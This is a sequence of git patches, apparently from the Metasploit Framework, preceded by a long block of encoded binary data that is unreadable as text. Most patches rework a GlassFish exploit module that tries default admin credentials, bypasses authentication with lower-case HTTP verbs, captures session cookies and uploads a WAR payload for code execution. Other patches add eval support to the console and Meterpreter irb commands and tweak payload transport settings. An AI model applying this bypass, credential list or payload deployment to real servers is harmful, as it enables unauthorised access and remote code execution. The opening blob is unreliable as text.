zvD{#bEIDX9x}fH*^08rWmws^Y>d=Bf)KU8jHl5tT2ZVcSqLo=2XY>S04gE411<{J$ zXmV^9Dtf}*eZ`<SsR7Z{xh5KoRv$7g2_Ly3{ORI@)!uG4CRGgY+(^Tb1W{vfBwOTw zN#cw|9jC<6I6BQf@yQYg9Cf5~n5Dg)&tHg*UlO&&(Mh5oZ@8x`$ouCNEGP+kQ`u0d z6uv>>eCwYK$p|g#jYjWzp^^9P9w$k+8B3$l<aDvg<TPFbol_a?h3g{ahSCdXK8+@u zNj8W>?#!p5K^*pxgmb+1uwh2hQ2OJU7fY2z;a4`!XgMrN+1FH@4@x0Pn!90s%aIvv zb1xB_HnD#jW^~X+zcX=SsEhZ9r)QRCC$x**GXxqs$wZSA`LLQud1dfs@h%Sd;_=!( zXb{IX@8`dQdC}xlHrh9Ka=52raJ0hM`OFW|=ov>aGj^^Owst0iw``oTBM?ni=pOE= zjz-J%w4s;HE|pHVFbE7+ct&Dw`MB!Ngo+X2Uzx%)j15LHuaB0;ZIEq|?8OHXC6dt! zQ!L-<<z21+@~4M}_R5OBc9_eQFNUkg&u~o~DM<|`{opX$<%w+WbO%S;`NU93I&+j^ zTfR*sYa(~wo7*5t)ysROYHzk~9{!+Qs6Rh^z8ug;n3Bedw&Cke@!nXE3vziv^@X?! zM|h~JXPdN)eVom3&xX5BRbP-RGHRj~>GJ|&AR5WfTOdmBa@w}3dV}doS#5gLbVim} z>o1H9$=OZbQSq`|q+gYEjlGcFuD;d~-7w(Hpn}d@he*;w+qVm%$;ISv2p?W@u+$jb zazQe6ZWtj+;R@rCnMK+9i%EOsC-mErXR^mHBzs47FzTgJG`Wm7aTYHL_8icMrc6x{ zv#YgWLDUgoT%yTAs$oZ_o|iH%C6mLOSJ3&_L2T8LLB;mLhH;sCC}nJ{R?xYU7A89_ z8^($D&PB0=Srq3`tbRSZVVr2LK9sm&oLPS(WwczPpHBIcr|w7A&+^ehVdw8Ba765r zm?Y6;ky_Z<cp0luK9eGt%}eKNjPXMHR7?*J()V0a#AZgMJ|b4s)RZx)e1bfD-BJ1+ zNyruzN`IJP`VWu(Noukj)W1ueHl>6Ea}O;4T>D|otf)(@K4LUPcEiBv@xH?kJA(SJ zMlX|7^<ASKqx0BOO=S3A_J{W$tezxl(!tV_V8?}~3!~lfOeuBTjRVB7Hl#Ie8~3m* zoAm7Q&Y@x;*wtwHD`AI8uO2_$W+GG2=@-*vk|;~nQ&>KZBos2@VpkVlf5Vc4(b$-F zj*j)p(9e&bEa&NF^Cipy)toOEHf=P&C5Ma$#RVIQog}fghI@kPq!vVv+Y;K+WK&QP zwT6gTi!P?rSn5#!R8B0_(mxf5rCR%^%3`UueyLD!Z7g@JUoKb|OSSh;ZI7i+^iM@% zsgC}sW3kk!{;6}ZRA>KG;vsQFU9nW?r=v`d<+}TKQ)8)f{Zb7*RDyXT|MOS`W4(I& z^$M<!r6e)?FOFDaEM@4QIuuKVjQw-%v0P&R)VWy7)IVi>S?qsm|5R!$mDE3#5lf}@ zPpPq#xqm8@8_T8l&y~bd8U0h0u~cUN)cROT>7UvfOWFIS8dNI59U}kpShU7^dHQ-a zy`Mf&o@r*Sc}cvS84@1AbsHCLt3GVdzFYGp^SEHaiy5L_y!^ZNpVsDJUDMT*?}|&5 zqFmjTtb*0vyrx$(?ueJoO*1oV<&?ltZkh+T<@J%<M^01cmA{UYv-N=Ts9fCit<q}X z@;>NzIB7i{$_Hmx_gu2(OIu{|!LZ@wTD`)#Le9`nIJ3Ek#<^T_tv=tCA#c*}rd;3j zjH_54P{rp5>-04Dw-d!$&>&X9hCE(szO6_oO)Xq<uzE5VD{E|GuwJ)k<??xVW!*jY z=gzS;OVl>bHf)HW%aWp}XwKBw!t%R}F|2)u4b>Mi)_fLQrXzZZW=RXo5?66-6Ves3 z>0s<J!a#}jSKqC9_>8mKW$_(RNl)?|p!Tk(Xh=H?c=*i?^INx_(0$%9vHF>hVvCr5 zqxWXHO@GTfPp)g4>`Relr|$JXB72%X^e>KM9nr47l-EU9Z{_v7t8*ES?CD}<DV#oA z&TDF%e$x;Z)M0aMp`H)Ko^{1m7VcM*qsc{-t9up<uPJ4zDkup4YmedUcpjF5rW0by z#2!{zG1vLY1)^^U(?q(#6FV@mT8Ug{ESLQ+x$Iaj=L%Vm%t>Om-kCGYByL2d@n=5W zmP^<0xS*aHIL_Y3&%IUNqW^YohP+j;=e4rw=-k%0{N|<XcgJ@};#oc`lJ}pEt3DZD zecrg{@~<C_rvF8>)`gEeCt9md8`dONcf`lHMAK_pi+Nl6#um|zdBPLqj1)5U)A<>4 zvp#bEBwp3|<I=@uHeMs`gssFTqLx@ktR>2cGX3`X*CdIK;i%YZ8*zf@UaB9TU!vvT zC>p+dkIyntWMdci>U`f`T_N_Wa9M1xMCZC7<yvBoUQu9{^Y!}+rt%sou%wG-Hedu3 zkxH0}3_>APVz!>V;F?i=A6i1aj95$5HQln{zBpOZ;}@Ne>sg^+Sac(mW!G2p`q}k4 zaz@h?MTg`O-Mw6!tvpbP=U|>Oa-UujiDNeIFAfa}aC*2MbH6UqXD?kMuWx#CsXb24 z)jz&*98>DY8{6XecJum*Me#7TG+UOp>!m9j<raN-+27=xrmxGq@{sJljSOcaP1?<? z<YZ4QQGRj-k94sQH3d7Rrk7S_$V1e=zJtXFeziK3Eb0eskwBm{p8tZJ+3a9d)9-GX z8F&4TKTA9YXL9Xr`74*SxCoCVD7;SHDjMwKqKuVPO2&ui;)!+1=JmDMdvhpV73-2q z=?S)SBq5K|rlu+7p&|0xrpH5{4!H8cuw?2YX4Xok-xBS_^&6Q8#Jj|^#OOatreVb2 znx6gLNrSwpX>0h|A@eI6|8LV(wEo-aTH6qt80$qlQz%imm0Sza)u4Z#KP9fRQ6Duw zUErRdHc4!WIkF0hh<qZC$RRw0oycs|@0g#PBzlIUu`N^DO6+PBQ`VF8*w0h;(4+sy zDVs_Ydn7v7Wl+u|${*ElD;OV_^q9W6AVaXfK$#?ZutzPlw-N0`2hmA%6FtO`$Mlp1 zxug0%IGz5Pgog+;Ssq+BaOzeb5YNn7QGHjHR6f$niH}qasX1Dq1RF)eQ0+j)B&rjF zJM@pXndLoA(QN~V%0_+Q&hvU*+=x)TETs_Xgp<f6@`++%4e>i-EAb?;k7y%4BknND zQYleD%p~kYI$<K7;p=h>@ey&BxIhd`kflorJMl}Rm{?7O?&jrwVmt97(N26tBo2_J z$;8z}F|nSgBN~Za#EV2Lah&*^h#M$NV~9+`NnA}_ODrSqCjLOw6HgN_60O8X17)jp zj)KHquP4Oc!|ZJ>aR;%2xQ@ssGKo}Tux{BsYQm4IWcqT3WV&uP^Jb;^^`q~v>n6!G z=Pt?gvc7!xUHXOHDSF55v`Z>(UB1R<{Y6PxnI!#sUU2D}<t5kLykb?;?59T$9GcI) zx|k><D)n2Q)k4{?Fpg}m9{JuN_26I(yvpK+TafQIQaAF=O$xM1rcok~;yZLViYMpd z*Cf*z+=XM&{JLaH!#cbaPvCfwe}lymJ8^;}S*1XmWSU4K`z>|}x8v>Df_LC4>_zEq z<~bOf7C+}78EXDqGR0Aipt!lTpaI)30XuL2cH%(nMsb`yD2`J)(|4Rk<ZB(%S2FRd zlaz{l8I{a93^Q;zDk#Q7MaCl}Wm6CXl8a(M0+@t_n2g1kf<Y7mwHn1hRiYTEDii~? z9%BQA{O}-cK`~(UC<bghnsFC0U{W(q6h9<HC|pLO1=Fz&Ct*8I#txi<oj4V{@pA0J zD^Tj<`UWFji6)$espv#Ax-bJ(RM3qo`uKb)n}Q#6F&hJT6&B)jEXEuR;!IqPv#=7c z!7BVEuE*I}hu7j3oP+fk!0lLoyKn(EV`veD2!-X?A`;k!GLzsK#$gA>V;35*l3AaC zJ=6!F;UCNmG@%jGa1g5W8-f|s6VZ-CF&l?r-an*}X*h*K5@Obs;0P3#*GLqX*C<>~ zJ_*-iGOouI+=QuEkE3x1j=^Rei-#}`+i)D7z)P_c$K$zwgqRc*q_a#4OvH(pikD$J zrlW$B(1VjP7pGu8PQ_xp9Lw+uti()QhgafOoQB)cihIzGkq`w3g;sQ8JG$@`s@RQg z?8PiJej%AOOhO-;(T|y!jVfM+IXE2yn1ex_f#o<8t8f;EYAIYpVGI5e8*w)7!aUrE z*J2CK!DAS}4!jP#umF2-0UEj`(;`g5<(Q5u(T-)9gZE$nWh2*L5d{M)idaquVvzbE zEXToEg^5^;V&&O_qp%T^a2KZFJ{*HBI1W276T47D!<UR0ns7R%;YuUZ-A+OLP@aPZ z4B$X4!a*3s!B~!oScPM-7By_dmADJ}Wkiag0b6k(w&Nf?g@dsh6R{V^geVxlVndjO zGD}}N8c@N3=)pmli-R#A6R{Y_U>Rz-4rP|eO*jbaaWL+{L~O<}cnCE-fgzbSvx~wY z?7_ik_?nJrLJc!eHZ!?!5a!@u42X6t67A{ih-k-3(T?jxJJyNz40cGg;||e|&0ll< z%bDzvXuvknfG1E^xK2eL&xt%r=g8Z+OmPsV;$Tb{d6f|pb@Yh3hY=HX%op`+MoiSP zOqj!tp5yu-oXehyL>_x83~;@oVJ+7yj=^RWtK!w{gBjUJDMIcR6n9XNTB)~VJHC&n za5r{iJ@(?C(D;pHdIOX29kJY+DZGW5_ynr>Eau=L4B!bYLUBI`Vk?&8OIU?1Xk^F4 z4XT#<U$GHaqPVe%JKjF(H=?-J%OX!b#3)F|DBOh|xK}jLK|B-mP@f_4)D39(w(rJc z!rxOD&jjKbA&okN7<)Dl&k7mT{{!uKA7-PtQRQJ17UF**_nT1cPFF%AOhP<Vh=+`F z>f(+jvFAppqTYbDD1JxXf;+GgkK!);Gw#FZumxYnW4H%9@Hlp18}{IAG<?VTk5Dju zCz;+xBOf>j)2P3R8TcXE@m<WuS1=F%8w+timf$g5jg7b#pThO{F>XQ~>#+lO;PcoV zqVPI}L-+}{;RkpEKf+FY56|IY6b~hrq14lN%QkV&#luJ<^)eI>C*q+cm3k0O)CXfa z^*mJQ{|h1YTQQVMhanU^BsO6#K8pGHUs#O4!ZLgYD{&w0VnaS$M}57>Q+Ht<_1L6l zyNT4dQWp;+D(&K_Xgl?CtfHMYC?xG6v6Dmu#luJj4MVY&`W%#aV+OQSFU4ls$KxsL zOHrXd47;gw<;ET?hhs1Gzo7BFWSWcF^b^-<67}magY8}^p8w1w){w|0VZlu5l~_kT z3svg(igq?I0>xvKA9KiWz<ivC0rFNXrhYqi(ti?`QU5iH=g4%dq`m^z;UC3NrSirr zu#UuUa4S~hcJkuO;dbi3!!6V`+(UgGW>Z%%Lj56Z#ouB(R^Ta|j{!b-Bz9B3AA2z$ zjo)*sHd831!zfH5u@P6ZVJDiY-;KqzCt)V_0t`}5MwR*k%)u=fz*;QEM{qT67t%ik ztEd-ZCG|_N_Is}Xg%s-fKo4%ALk%|K<G2fN!+p3F*Yn2F*h2k!Y@<FAk5Mnd4tx>2 z@gPb+@FM`2uo=zxDk^vc>&|ffkD-uFq6o!0|2NE|egI4G1zd}d;U;_lxA4JZaR>DW zu^AU*AqQf^L)7oU2=#1iqy7i1qOM{G^(tH+BH^acMdBW;XTxdOLwyMv_yOx?+)jQR z@)gc>0|t4Y1JkIl#R%<Y%%HvucTv9-?bM60nErOmrv5M%;+=S14;`maSWV(4T#Ku4 zJ;vh}Jc-+}4)@?TjNsGQicexY&csu_O>e#b(MY*b-~EqOV@&*nF1B*<uZ|0(?w8bl zecyx>J#aQvo~7S(cC7K^G|6<H(DTlwnGTPaO#EaQ6>oZrvgkL|IpLql8TyB3$I5&4 z^Jm8!Hf8j^iyv0qUyP4?Ox3f#xKuu_-~PpT!(3miEp@;KzV&aNAzBRA&+N-3tmYT& za{c@l<N4<dqr1nO4z2j-F9Lt0tXF-J$}fIPyT{88{T^Od>Dzc+pzr7PCH)g#@6zQj zMP|a6V-qGm&w8j|_2sCk7ylK;GXDL9%pqKiLh<h^h+@LXN>r)e_2sk)Ez~al_3|T) z6k#m+Ve{hOllp64jtxn){4f6G6O#USfAX=({~tg3jQ+Y|=xBLH<xS;*HLGr1e(SAG z&wpJZH~GFfVBl9Y^V8o~%JVy4=Ic7qO`Icoh+aZE%o7ihNF)(yL<V6eJVY*$M+As` zqL3&eiir~asUI#0RZ*%XHW8wAE73^oAodUuf`89oI!1I5r-)AC9AP}t_kbqmKoaFN zBAv)2?1YENA@YbKqKsHe)Dexuo+HvQQwxPQqMhi_m-bG%N^RjSL?O{hwggubYl&K- zp4dekBHD=#qLb()()o6#>hJY#HgzB4_V^w{^*)Z^{}|sBx2Wm;AFmxS`9cww=>IeJ zUTcuQjT;~~^VRXqzZ@t}Hk>=o<yQQClD_tP<KDV~@{@+pM~+V&-#G?2hd5K5Y0k@? zE~n3#=e*9j#JSuVc1o@Ru2ffs%jTNrTI#yhb-OF%s&VPA2VKpsZ(KjPOlq<^UY(={ z)B?3cEmiMTH>nS*4eAr>PW2hJMSWd8sdlR0sYdrmx7nTTE_AQVYRKB2^>o%}SwCbY zXv0HVKwF{xNqbV0JjtGEo<Dmco*lkS|3d$L{s;Ug{k?upjhS_y3sq5^$_>gL%Ab{o zm8X=qlqAb?%PPx#mK~OtEypdNTfVaVU@=%HTc=qaR?WK5y25(1^$*tjty`^+TmReo zqP4}^ZvD`D()zWv$2!P1%r@3$wuLOVpl!9S+V)4AZfmgZwC%CIWIJm6*e2QQ?R)Kq z>}~cA`)Bs=>?w{+htuJ4%yN`ERypo;R5>1TyzY3%@i#}8W4zPu%yO=A-tBzR`Jr>9 z>q^%eS0y8L%$3OKtXAvQi29lOtvbY=>>lf$;GW_RyX)L$ZJM?sq^;4O(GF;@YaeQz z+Hl5Tif5*0spmJIwVoPAW54I9=Y7vGuicyLo#!p_mU{2--s@fO-R#}wecbzuH{w0) zZTFt^c6#G|qkL(;bf3pJ$2Z@1y>FRsrEj(GHs9U8YTpLmeZKpBTYZhbCwx17dwu(S z2Yj#i-tfKS3w`K2>Fe}$`@Zr0;EVSg{lokz{;~cE{;B?7`0aj=|0@41{~Uk5f02Kg z|JVNC_$&N(_(T5n{*8X!|5ty#|1tl6`J4RD`uF<}`&<3T{O|cc_W#}A<^Rh6y+7)g zcx+1K)FmiGm61xSVpb+8S12|`ReZ`!WwtUmq%2gHC?!gna*Og?C8VrV{=oU&tURPV zsywOeRGO6+l!MBv%A3l^%0HBIifkEdnP$nc6kG1GL@e)Ex-4H>60IYw7VEXv?N-e; z-L}Y9X?xE03;S&QT>JI*TkPxX584~-JMGWeKe3N=T<$1zEOy-M*z9=7(c`$*88W&w z*B35_I$K@GIf|+#caD3ud#QV+`+)nXyUqQs`wRC4w=pX@YkbzUtb4QeWWAB)_Y`>k z=xOlm_B`kL)KljDi+87YulIoWJ@41vVZIbj!c?E?Tfv~W_%8TH__z7r>6^&e;_HMY z&Ei0pTDCE9pAK0vtaGg;)^cl;^;PRT)-Rcx7p#f4k+vx|)s|zMZM)9)8{2PfkJ_4T z1ML?3a{KM}C+q_pLmcBAnq!V*z9Y^#(3$AG%vt8V)p@7$jI-N$-kIPU>~gw1uB*9h zYg}Ph9T#l9>wxPG*SoF{U8h}VU0=I;T(X+4h8C(@)Q8l^)c;iXsL!g0)yv#hx^vyv zx%a!jcPD2}$ja2_X}{6#&^Bng_NcZ;dtPhR-q$|W&S@94bkBUxGS5oSpFI0Km;0{q z75i5CKJ#_?dVJHEH98mYqs)kJ#3dZySrY~-qdEUxWsb5`xmBrAHiwial;@S#lrH6h zVzNxM*e$Qvr#W^y9(Gz>H*;cSPRrwJoco2Wm$P2UI-B)lmRYlCE^RuywNMLctF(|- zqlMYI2ee1D$F--lCU)_V_Nw-_c0xO=4e%s#O^x+T@+h8LJz-Cy=POT-XN-4+_fOtt zuANY;*XV2Tz3O|<$L<w#8(_B9C=JTK*tBa?jw$U-x+#_!mOM+ql5Z)r6fyZqEJ4fD zmS)R7CgCB=<t#V>>jG<$wU|>`W8G=}#M)`?vUXd~aXNdglFeYd)|PK8v=!NkZ37%* z9A7z7Ib}1PTSCq*=Umrf*E<|*k86yosaLBvskf<jsv9^R5%p~rjS=ok+~eGrxu?1n zx6AEw&v56t=eZZTm$^&bYutCcfA6k!|Jl9O{h0e1_hI*O_s2}x^X{m76jRo%&C-@= zH)&h69~p~bo(#_{PmyPZC*;}Sx!+Uo3GMQ9cz*PZ^(x*h?*ra8@8@2gu6zUizxTiF zf1T@?QCZEyDJ)U0uq?9NXnEFh!19RoN$U&NH?6vDt8Ke|xBVf<-yPi?(;DX!&V{ZE z97qZ4-e&bF4&kJFT6MUuac^|r?>1*$o;8Ehn68y+cWMu6PldEo+V`5-^PuNl&nF(q z8}KgmR(S99R(UghZN7c}11u}A`rqUN`hbPyQ~zoIS^qhIkN<+$v8vd-lHwGjlF0Is zqD<k=5V5paR@>t2!|Yq_jrLvkm+Z40%N!3lOirsS%XLyMcUQTGWu;_I%(7&?kQF+X zHB7r-`_^X^8?56d18c2S)^*nP)>><wb(3`qH;{U3Bg;$Jb<#CS{n%ZfwVgGOj`gv9 zkWv_xu;l^E4BL&iwcJa>wmRD;+ZNk?+uv;o_C&kMo@7t8r`gT+bbE$<jlI&o)?UTJ z^tt_;klp0C#F6GOJJKC9xUp<=Y<KK%>~idJG&}Y=B923jVa_CHDz|2{^M2RNtiO96 z^}gtR&3o26nRQ*-#g|(4<0bXmELj`DRZ+(MghYgIR*+-KjZNFWDVxKEo#zfPTQ)IU z8r?hGd)%8ZO_C>?q&D&Gp9A--^VE7ac{T@<<PN!cvn5$RJ#dSy-nQMgYwv^<dB41f zUfp~l6?o2h>b$*P$(QRZ@dbVBeVcr{xV5x%{ipg>f1$t9zsbMF-^?1&&M6ZQ=w{xR fs-!E~O0iO<)GHCCLy;_L7BjyG?9EA)o8|uj&`XwN From 8e4fa80728fce5748d2814dccc95df4112f96d43 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 24 Jun 2015 19:30:02 -0500 Subject: [PATCH 0552/1013] This looks good so far --- .../framework/login_scanner/glassfish.rb | 2 +- .../exploits/multi/http/glassfish_deployer.rb | 69 +++++++++++-------- 2 files changed, 41 insertions(+), 30 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index 8537f8b04b..e3aa4124da 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -14,7 +14,7 @@ module Metasploit # @!attribute [r] version # @return [String] Glassfish version - attr_reader :version + attr_accessor :version # @!attribute jsession # @return [String] Cookie session diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 7fd2600524..5855a3ab9a 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote def auto_target(session, res, version) print_status("Attempting to automatically select a target...") - res = query_serverinfo(session,version) + res = query_serverinfo(session, version) return nil unless res return nil unless res.body @@ -601,7 +601,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Error: #{rhost} did not respond on #{app_rport}.") end - #Sleep for a bit before cleanup + # Sleep for a bit before cleanup select(nil, nil, nil, 5) #Start undeploying @@ -619,10 +619,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Undeployment complete.") end - def init_loginscanner(creds) - @cred_collection = Metasploit::Framework::CredentialCollection.new( - userpass_file: creds * "\n" - ) + def init_loginscanner + @cred_collection = Metasploit::Framework::CredentialCollection.new @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( configure_http_login_scanner( @@ -654,30 +652,44 @@ class Metasploit3 < Msf::Exploit::Remote end def my_target_host - path = normalize_uri(datastore['PATH']) - my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" + my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(datastore['PATH'])}" end def try_normal_login(version) + init_loginscanner + case version when /2\.x|9\.x/ - creds = ['admin adminadmin'] + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new( + public: 'admin', + private: 'adminadmin', + private_type: :password + )) when /^3\./ - creds = ['admin'] - else - creds = [] + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new( + public: 'admin', + private: '', + private_type: :password + )) end - creds << "#{datastore['USERNAME']} #{datastore['PASSWORD']}" - - init_loginscanner(creds) + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new( + public: datastore['USERNAME'], + private: datastore['PASSWORD'], + private_type: :password + )) + @scanner.send_request({'uri'=>'/'}) @scanner.version = version @cred_collection.each do |raw| cred = raw.to_credential + print_status("Trying to login as #{cred.public}:#{cred.private}") result = @scanner.attempt_login(cred) - if result == Metasploit::Model::Login::Status::SUCCESSFUL - return @scanner.:jsession + if result.status == Metasploit::Model::Login::Status::SUCCESSFUL + return @scanner.jsession end end @@ -692,15 +704,11 @@ class Metasploit3 < Msf::Exploit::Remote return sid if sid end - try_normal_login(version, user, pass, 'non-default') + try_normal_login(version) end - def make_war - my_target = auto_target(sid, res, version) if target.name =~ /Automatic/ - fail_with(Failure::NoTarget, "Unable to automatically select a target") unless mytarget - - # Generate payload - p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) + def make_war(selected_target) + p = exploit_regenerate_payload(selected_target.platform, selected_target.arch) jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) @@ -708,8 +716,8 @@ class Metasploit3 < Msf::Exploit::Remote war = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform + :arch => selected_target.arch, + :platform => selected_target.platform }).to_s return app_base, jsp_name, war @@ -729,8 +737,8 @@ class Metasploit3 < Msf::Exploit::Remote # Set HTTP verbs. Lower-case is used to bypass auth on v3.0 @verbs = { - 'GET' => (version == '3.0' || version == '2.x' || version || '9.x') ? "get" : 'GET', - 'POST' => (version == '3.0' || version == '2.x' || version || '9.x') ? 'post' : 'POST', + 'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET', + 'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST', } sid = attempt_login(version) @@ -739,7 +747,10 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate login") end - app_base, jsp_name, war = make_war + selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target + fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target + + app_base, jsp_name, war = make_war(selected_target) print_status("Uploading payload...") res = upload_exec({ :session => sid, From c826785ebb575436561bd0d18854027b6e46895d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 24 Jun 2015 19:49:04 -0500 Subject: [PATCH 0553/1013] Fix auth bypass --- .../exploits/multi/http/glassfish_deployer.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 5855a3ab9a..f5b1a84d6b 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -631,20 +631,22 @@ class Metasploit3 < Msf::Exploit::Remote end def try_glassfish_auth_bypass(version) - sid = false + sid = nil if version == '2.x' || version == '9.x' + print_status("Trying auth bypass...") res = send_glassfish_request('/applications/upload.jsf', 'get') - p = /<title>Deploy Enterprise Applications\/Modules/ - if res && res.code.to_i == 200 && res.body.match(p) != nil - sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); /).flatten.first + title = '<title>Deploy Enterprise Applications/Modules' + if res && res.code.to_i == 200 && res.body.include?(title) + sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first end else # 3.0 + print_status("Trying auth bypass...") res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get') - p = /Deploy Applications or Modules/ - if res && res.code.to_i == 200 && res.body.match(p) != nil - sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); /).flatten.first + title = '<title>Deploy Applications or Modules' + if res && res.code.to_i == 200 && res.body.include?(title) + sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first end end From f6f21724a3f8ebf976df1ab51305742c5b987099 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 24 Jun 2015 20:52:17 -0400 Subject: [PATCH 0554/1013] Support expressions for the irb command --- lib/msf/ui/console/command_dispatcher/core.rb | 28 +++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index f395805f99..b0e7640e08 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -94,6 +94,10 @@ class Core @@go_pro_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ]) + @@irb_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-e" => [ true, "Expression to evaluate." ]) + # The list of data store elements that cannot be set when in defanged # mode. DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] @@ -759,8 +763,8 @@ class Core def cmd_irb_help print_line "Usage: irb" print_line - print_line "Drop into an interactive Ruby environment" - print_line + print_line "Execute commands in a Ruby environment" + print @@irb_opts.usage() end # @@ -769,6 +773,26 @@ class Core def cmd_irb(*args) defanged? + expressions = [] + + # Parse the command options + @@irb_opts.parse(args) do |opt, idx, val| + case opt + when '-e' + expressions << val + when '-h' + cmd_irb_help + return false + end + end + + if !expressions.empty? + expressions.each do |expression| + eval(expression, binding) + end + return + end + print_status("Starting IRB shell...\n") begin From f9642da387710c9ca01c20d7fc4debda3b930cc1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 24 Jun 2015 21:02:18 -0400 Subject: [PATCH 0555/1013] Support expressions for meterpreter's irb too --- .../ui/console/command_dispatcher/core.rb | 36 +++++++++++++++++-- 1 file changed, 34 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index e51c470a20..9fdb202cf8 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -30,6 +30,10 @@ class Console::CommandDispatcher::Core self.bgjob_id = 0 end + @@irb_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-e" => [ true, "Expression to evaluate." ]) + @@load_opts = Rex::Parser::Arguments.new( "-l" => [ false, "List all available extensions" ], "-h" => [ false, "Help menu." ]) @@ -322,15 +326,43 @@ class Console::CommandDispatcher::Core alias cmd_interact_tabs cmd_close_tabs + def cmd_irb_help + print_line "Usage: irb" + print_line + print_line "Execute commands in a Ruby environment" + print @@irb_opts.usage() + end + # # Runs the IRB scripting shell # def cmd_irb(*args) - print_status("Starting IRB shell") - print_status("The 'client' variable holds the meterpreter client\n") + expressions = [] + + # Parse the command options + @@irb_opts.parse(args) do |opt, idx, val| + case opt + when '-e' + expressions << val + when '-h' + cmd_irb_help + return + end + end session = client framework = client.framework + + if !expressions.empty? + expressions.each do |expression| + eval(expression, binding) + end + return + end + + print_status("Starting IRB shell") + print_status("The 'client' variable holds the meterpreter client\n") + Rex::Ui::Text::IrbShell.new(binding).run end From 5a24dc8e64396ed91e87738962a0e6888764a1b7 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 25 Jun 2015 14:08:41 +1000 Subject: [PATCH 0556/1013] Enable the transport command for java --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index e51c470a20..5b62d0aa99 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -80,10 +80,10 @@ class Console::CommandDispatcher::Core if client.platform =~ /win/ || client.platform =~ /linux/ # Migration only supported on windows and linux c["migrate"] = "Migrate the server to another process" + end - + if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /java/ # Yet to implement transport hopping for other meterpreters. - # Works for posix and native windows though. c["transport"] = "Change the current transport mechanism" # sleep functionality relies on the transport features, so only From 98156ec944b0749bc853c834a19512c071beddd3 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 25 Jun 2015 14:51:06 +1000 Subject: [PATCH 0557/1013] Add user agent to the transport config Why this was missing I will never know :) --- lib/msf/core/payload/transport_config.rb | 1 + lib/msf/core/payload/windows/reverse_http.rb | 16 ++++++++-------- lib/msf/core/payload/windows/x64/reverse_http.rb | 1 + 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index f75c5c3db2..f7f6ce198c 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -60,6 +60,7 @@ module Msf::Payload::TransportConfig :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, + :ua => datastore['MeterpreterUserAgent'], :proxy_host => datastore['PayloadProxyHost'], :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], 